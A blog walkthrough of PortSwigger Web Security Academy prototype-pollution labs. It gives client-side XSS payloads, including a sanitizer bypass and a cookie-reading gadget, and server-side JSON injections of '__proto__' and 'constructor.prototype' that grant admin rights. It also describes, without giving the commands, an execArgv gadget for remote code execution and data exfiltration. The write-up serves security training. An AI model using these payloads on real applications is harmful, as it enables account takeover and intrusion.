Prototype Pollution — Burpsuite Web Academy Walkthrough

Chenny Ren
10 min readApr 3, 2023

The article covers various topics related to prototype pollution from burp web academy, including client-side and server-side attacks, as well as methods for detecting and bypassing input filters. The table of contents includes:

In client-side JavaScript, this commonly leads to Dom XSS, while server-side prototype pollution can even result in remote code execution.

Server-side prototype pollution is a vulnerability that occurs when user input is not properly sanitized and is used to modify the prototype of an object on the server side. This can lead to arbitrary code execution, privilege escalation, and other attacks. For example, an attacker can inject a property into the global Object.prototype that allows them to execute arbitrary system commands or delete sensitive files. To detect server-side prototype pollution, non-destructive techniques can be used to observe changes in the server's behavior that are indicative of the vulnerability.

Notice : Some payload could not be typed and saved on medium editor, for complete command notes, please see my original post on Notion

https://chennyren.notion.site/Prototype-Pollution-d96d5d03b38f4b0881ed4f56f553a9c5

DOM XSS via client-side prototype pollution

Object.prototype

go to sources , searchLogger.js

  1. In searchLogger.js, notice that if the config object has a transport_url property, this is used to dynamically append a script to the DOM.
  2. Notice that no transport_url property is defined for the config object. This is a potential gadget for controlling the src of the <script> element.

modify the payload in url /?__proto__[transport_url]=data:,alert(1);

DOM XSS via an alternative prototype pollution vector

In your browser, try polluting Object.prototype by injecting an arbitrary property via the query string: /?__proto__[foo]=bar

  • Open the browser DevTools panel and go to the Console tab.
  • Enter Object.prototype
  • foo property is not added

Try with an alternative string /?proto.foo=bar , successfully in

look for DOM XSS , analyze the code in searchLoggerAlternative.js

The function initializes two global properties: window.macros (an empty object) and window.manager (an object with a params property and a macro method). The params property is created by parsing the URL query parameters, while the macro method returns a property value from the macros object, if it exists.

javascriptCopy code
window.macros = {};
window.manager = {
params: $.parseParams(new URL(location)),
macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}
};

The function increments the manager.sequence property by 1, defaulting to 1 if it doesn't exist.

javascriptCopy code
let a = manager.sequence || 1;
manager.sequence = a + 1;

The function then uses eval to execute a string containing JavaScript code. The string interpolates the manager.sequence value into the code.

javascriptCopy code
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

If the manager.params object exists and has a search property, the function calls the logQuery function with the /logger path and the manager.params object as arguments.

javascriptCopy code
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}

The primary XSS vulnerability in this code is the use of the eval() function, which can lead to the execution of malicious JavaScript code. The string passed to eval() contains an interpolated value of manager.sequence, which is derived from the URL query parameters. If an attacker can craft a URL with a malicious payload in the query parameters, they can potentially execute arbitrary code in the context of the user's browser.

/?__proto__.sequence=alert(1)

since a numeric +1 is appended , change the payload to

Client-side prototype pollution via flawed sanitization

Pollution Prototype Vectors

/?__proto__.foo=bar

Pollution Prototype Vectors:

  • /?__proto__.foo=bar
  • /?**proto**[foo]=bar
  • /?constructor.prototype.foo=bar

Object.Prototype is not modified with the payload

Analyze the source

deparamSanitised.js is introduced to filter blocked characters

change the payload to avoid sanitization

/?__pro__proto__to__[transport_url]=data:,alert(1);

Client-side prototype pollution in third-party libraries

Using burpsuite DOM Invader

Enable Dom Invader and prototype pollution on burpsuite browser

scan for gadgets

a DOM prototype pollution is found , click exploit

/#proto[hitCallback]=alert%281%29

calls document.cookie

/#proto[hitCallback]=alert%28document.cookie%29

Look at the requirement of this challenge

  1. Use DOM Invader to identify a prototype pollution and a gadget for DOM XSS.
  2. Use the provided exploit server to deliver a payload to the victim that calls alert(document.cookie) in their browser.

make sure this payload could trigger document.cookie

https://0acb00df0418dff5c01c4a7e00c000c4.web-security-academy.net//#__proto__[hitCallback]=alert(document.cookie)

Go to exploit server

create a payload that will deliver to the page

Document.cookie is triggered

Client-side prototype pollution via browser APIs

Requirement

  1. Find a source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget property that allows you to execute arbitrary JavaScript.
  3. Combine these to call alert().

Use manual or DOM invader solution

DOM Invader

Enable DOM invader and prototype pollution in settings

Inspect elements with devtools default

Scan for gadgets and exploit

/?__proto__[value]=data%3A%2Calert%281%29

Privilege escalation via server-side prototype pollution

Server-side prototype pollution

POST or PUT requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it's common for servers to respond with a JSON representation of the new or updated object. In this case, you could attempt to pollute the global Object.prototype with an arbitrary property as follows:

POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
"user":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"__proto__":{
"foo":"bar"
}
}

If the website is vulnerable, your injected property would then appear in the updated object in the response:

HTTP/1.1 200 OK
...
{
"username":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"foo":"bar"
}

Requirement :

  1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget property that you can use to escalate your privileges.
  3. Access the admin panel and delete the user carlos.

log in my account with following credentials

wiener:peter

hit submit while intercepting the request

data is sent to server via json

the isAdmin property, which is currently set to false

In Repeater, add a new property to the JSON with the name __proto__, containing an object with an arbitrary property:"__proto__": { "foo":"bar" } it is injected

modify the request to pollute the prototype with isAdmin

(Remember to add a comma otherwise you will encounter parsing error)

The updated value of isAdmin in the response implies that the object does not have its own property isAdmin, but has inherited it from the polluted prototype.

"__proto__": {
"isAdmin":true
}

Then we are able to access the admin panel and delete carlos as required

Detecting server-side prototype pollution without polluted property reflection

To solve the lab, confirm the vulnerability by polluting Object.prototype in a way that triggers a noticeable but non-destructive change in the server's behavior. As this lab is designed to help you practice non-destructive detection techniques, you don't need to progress to exploitation.

Inject

"proto": { "foo":"bar" }

Send the request. Observe that the object in the response does not reflect the injected property. However, this doesn't necessarily mean that the application isn't vulnerable to prototype pollution.

change the payload to inject status (between 400 and 599)

"__proto__": {
"status":555
}

remove a comma at the end of “sessionid” to cause parsing error , we can see the status code is injected

Bypassing flawed input filters for server-side prototype pollution

To solve the lab

  1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget property that you can use to escalate your privileges.
  3. Access the admin panel and delete the user carlos.

find the POST /my-account/change-addressrequest.

In Repeater, add a new property to the JSON with the name __proto__, containing an object with a json spaces property."__proto__": { "json spaces":10}

The response remains unaffected

Modify the request , constructor is injected

"constructor": {
"prototype": {
"json spaces":10
}
}
"constructor": {
"prototype": {
"isAdmin":true
}
}

And we can access admin panel

Remote code execution via server-side prototype pollution

To solve the lab:

  1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget that you can use to inject and execute arbitrary system commands.
  3. Trigger remote execution of a command that deletes the file /home/carlos/morale.txt

inject in the request , and escalate to admin privilege as previous method

"__proto__": {
"isAdmin":true
}

Access admin panel , we are able to run maintenance jobs

Click the button and observe that this triggers background tasks that clean up the database and filesystem. This is a classic example of the kind of functionality that may spawn node child processes.

Intercept the request while clicking maintenance jobs

Try polluting the prototype with a malicious execArgv property that adds the -eval argument to the spawned child process. Use this to call the execSync() sink, passing in a command that triggers

change the payload to delete file

Exfiltrating sensitive data via server-side prototype pollution

  1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget that you can use to inject and execute arbitrary system commands.
  3. Trigger remote execution of a command that leaks the contents of Carlos’s home directory (/home/carlos) to the public Burp Collaborator server.
  4. Exfiltrate the contents of a secret file in this directory to the public Burp Collaborator server.
  5. Submit the secret you obtain from the file using the button provided in the lab banner.

First test the prototype pollution as previous method

go to account , change address , intercept the request

"__proto__": {
"json spaces":10
}

The json space is injected , which shows server side prototype pollution

Go to admin panel , run maintenance job . The job is failed to run , and we can see dns request from collaborator interactions

Go to the Collaborator tab and poll for interactions.

Notice that you have received a new HTTP POST request with a Base64-encoded body.

Decode it with base64 , node_apps and secret

CSWdhWo9yuB66tZDwN2SiUKmAsJRz7SW

From the request in collaborator, we see the secret

--

--

Chenny Ren

OSCP | OSWP | OSEP | CRTP |CRTE | CRTO | Red Team Professional | SOC engineer